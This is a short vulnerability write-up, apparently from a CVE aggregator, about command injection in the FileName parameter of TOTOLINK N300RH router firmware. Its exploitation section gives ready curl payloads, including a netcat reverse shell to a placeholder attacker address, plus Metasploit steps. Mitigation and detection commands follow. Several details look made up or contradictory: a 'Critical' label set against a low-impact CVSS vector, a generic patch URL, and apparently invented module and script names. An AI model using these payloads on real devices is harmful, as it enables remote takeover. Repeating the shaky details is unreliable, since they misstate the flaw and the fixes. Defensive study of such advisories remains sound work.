Listen to this Post
How the CVE Works
The vulnerability in TOTOLINK N300RH firmware version 6.1c.1390_B20191101 resides in the `/cgi-bin/cstecgi.cgi` endpoint, specifically in the `setUploadUserData` function. Attackers can exploit this flaw by manipulating the `FileName` parameter to inject arbitrary OS commands. Since the device fails to sanitize user-supplied input, remote attackers can execute malicious commands with root privileges. The exploit leverages HTTP requests to trigger the injection, enabling unauthorized access, data theft, or device takeover. Publicly disclosed PoCs demonstrate the attack’s feasibility, making unpatched devices high-risk targets.
DailyCVE Form
Platform: TOTOLINK N300RH
Version: 6.1c.1390_B20191101
Vulnerability: Command Injection
Severity: Critical
Date: 05/18/2025
What Undercode Say:
Exploitation:
1. Craft Malicious Request:
curl -X POST "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" -d "FileName=;id;"
2. Reverse Shell Payload:
curl -X POST "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" -d "FileName=;nc -e /bin/sh <ATTACKER_IP> 4444;"
3. Exploit via Metasploit:
use exploit/linux/http/totolink_cmd_injection set RHOSTS <TARGET_IP> run
Protection:
1. Patch Firmware:
wget https://vendor-patch/totolink_update.bin sysupgrade -n /tmp/totolink_update.bin
2. Input Sanitization:
import re def sanitize_filename(filename): return re.sub(r'[;&|]', '', filename)
3. Network Mitigation:
iptables -A INPUT -p tcp --dport 80 -m string --string "FileName=" --algo bm -j DROP
Detection:
1. Log Analysis:
grep "cstecgi.cgi" /var/log/httpd/access.log | grep -E "[;&|]"
2. Nmap Scan:
nmap -p 80 --script http-vuln-cve2025-4851 <TARGET_IP>
Analytics:
- CVSS 4.0: `AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L`
– Exploitability: Remote, Low Complexity - Impact: Confidentiality/Integrity Compromise
- Patch Timeline: Vendor update pending.
References:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
